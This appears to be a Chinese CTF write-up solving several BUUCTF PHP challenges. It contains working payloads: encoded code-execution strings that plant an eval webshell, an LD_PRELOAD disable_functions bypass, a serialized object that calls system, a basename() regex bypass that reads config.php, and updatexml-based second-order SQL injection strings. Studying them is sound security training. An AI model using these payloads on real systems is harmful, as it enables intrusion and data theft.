即,对查询语句取反,然后编码。在编码前加上~进行取反,括号没有被过滤,不用取反。
构造payload:
?code=(~%8F%97%8F%96%91%99%90)();
可以看到好多命令执行函数被禁用了
写入木马
构造payload:
?code=(~%9E%8C%8C%9A%8D%8B)(~%DF%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%8C%97%9A%93%93%A2%D6%D6%DF);
蚁剑连接
flag文件是空的,那就是要执行readflag文件,但是之前查看phpinfo的时候很多执行函数都被金庸了,需要绕过disable_functions。这里卡住辽,看了其他师傅的wp,原来还有这种方法???
解法一:利用linux提供的LD_preload环境变量,劫持共享so,在启动子进程的时候,新的子进程会加载我们恶意的so拓展,然后我们可以在so里面定义同名函数,即可劫持API调用,成功RCE(说实话我也看不懂)
接下来解题需要用到工具:工具传送门
将解压后的文件夹里面的bypass_disablefun_x64.so和bypass_disablefunc.php上传到/var/tmp目录
下面需要构造新的异或payload:
?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=eval($_POST[%27a%27])
即为
?code=${_GET}[_](${_GET}[__]);&_=assert&__=eval($_POST['a'])
// assert(eval($_POST['a']))
下面让其包含我们的exp代码:
?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=include(%27/var/tmp/bypass_disablefunc.php%27)&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/var/tmp/bypass_disablefunc_x64.so
执行即可得到flag
解法二:利用蚁剑的插件,蚁剑有一个绕过disable_functions的插件,正好有PHP7的UAF
还没下载好插件,等等再补这个。
phpweb(反序列化)
这道题还挺有趣。
看源码发现也没什么信息
抓包看看
看warning的意思大概就是 func参数是函数,p是值
那就简单辽吧?!先看一下Index.php的源码
得到Index.php源码
<?php
$disable_fun=array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>
可以看到disable_fun数组禁用了很多命令执行的函数,也就是我们不可以通过直接使用命令执行函数来得到flag,发现有魔术方法也有输出,那就应该是利用反序列化函数了
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
先查看当前目录文件
exp:
<?php
class Test {
var $p = "ls";
var $func = "system";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$a=new Test();
echo serialize($a);
?>
得到序列化后的数据
O:4:"Test":2:{s:1:"p";s:2:"ls";s:4:"func";s:6:"system";}
下面就是利用反序列化函数,传 序列化数据
有回显,说明当前的解题思路是正确的,接下来找flag(直接在包里修改一下p值就行,嫌麻烦拿exp改p值重新生成序列化数据)
读取 /tmp/flagoefiu4r93 这里也是直接用反序列化函数来读取(嫌麻烦可以用redafile函数直接读取即可)
Can you guess it?
直接给源码
<?php
include 'config.php'; // FLAG is defined in config.php
if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("I don't know what you are thinking, but I won't let you read it :)");
}
if (isset($_GET['source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}
$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
$guess = (string) $_POST['guess'];
if (hash_equals($secret, $guess)) {
$message = 'Congratulations! The flag is: ' . FLAG;
} else {
$message = 'Wrong.';
}
}
?>
分析了一下,想要通过破解随机数就能得到flag是不可能滴,那就只能乖乖绕过正则了
已经明确flag就在config.php中辽
分析:
if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("I don't know what you are thinking, but I won't let you read it :)");
}
if (isset($_GET['source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}
正则匹配ban掉了config.php,但是后面又调用了highlight_file()
先看basename()函数,我们可以通过这个函数进行跨目录读取文件
当我们传参index.php/config.php的时候,我们读取到的页面依旧是index.php的,但是经过basename()后,传进highlight_file()函数的文件名变成了config.php,那就是如果我们绕过了正则,就可以通过 highlight_file(basename($_SERVER['PHP_SELF'])) 来得到config.php的源码
绕过正则匹配:
老套路了,可以用%0d之类的来污染绕过,这样仍然访问得到index.php:
但在刚刚绕过的正则匹配中,basename()截取到是%0d?source
(简单来说 尝试用/index.php/config.php/?source读取源码,但是又绕不过正则匹配)
basename函数还有一个问题:它会去掉文件名开头的非ASCII值(恰好解释了为啥%0d不得)
var_dump(basename("xffconfig.php")); // => config.php
var_dump(basename("config.php/xff")); // => config.php
那就更简单啦,构造payload:
/index.php/config.php/%aa?source
EasySQL(二次注入)
之前了解到了二次注入但没有实战,这下遇到了就浅浅记录一下
打开是一个登录和注册的界面,发现可以完全注册,那说明这里不可以是注入点了,那么就可能是二次注入
注册账户的时候插入一些测试字符
在更改密码界面,提交后可以发现报错,说明就是二次注入
重新注册,发现挺多字符被过滤了
@
or
and
space(空格)
substr
mid
left
right
handle
可以用管道符 || 来代替or,用括号来代替空格
直接爆表
kyo"||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))),1))#
每个表都看看,刚开始觉得flag应该就在flag这个表中,最后发现不是真正的flag,那应该就是在usrts表里面了。
kyo"||(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users'))),1))#
查看real_flag_1s_her字段
kyo"||(updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),1))#
这里的regexp('^f')的作用就是查找以f开头的内容。
由于updatexml函数输出的字符串长度有限制
我常用的sunstr的被过滤掉了,可以试试用reverse()把flag倒序输出来
kyo"||(updatexml(1,concat(0x7e,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))),1))#
倒序过来即可得到正确的flag。
文章参考:BUUCTF [GYCTF2020] Blacklist_Senimo_的博客-CSDN博客
SQL注入之堆叠注入_沫忆末忆的博客-CSDN博客_堆叠注入
password=md5($pass,true)绕过、弱类型、MD5强碰撞_sGanYu的博客-CSDN博客_md5($pass,true)
BUUCTF 2018 Online Tool_恋物语战场原的博客-CSDN博客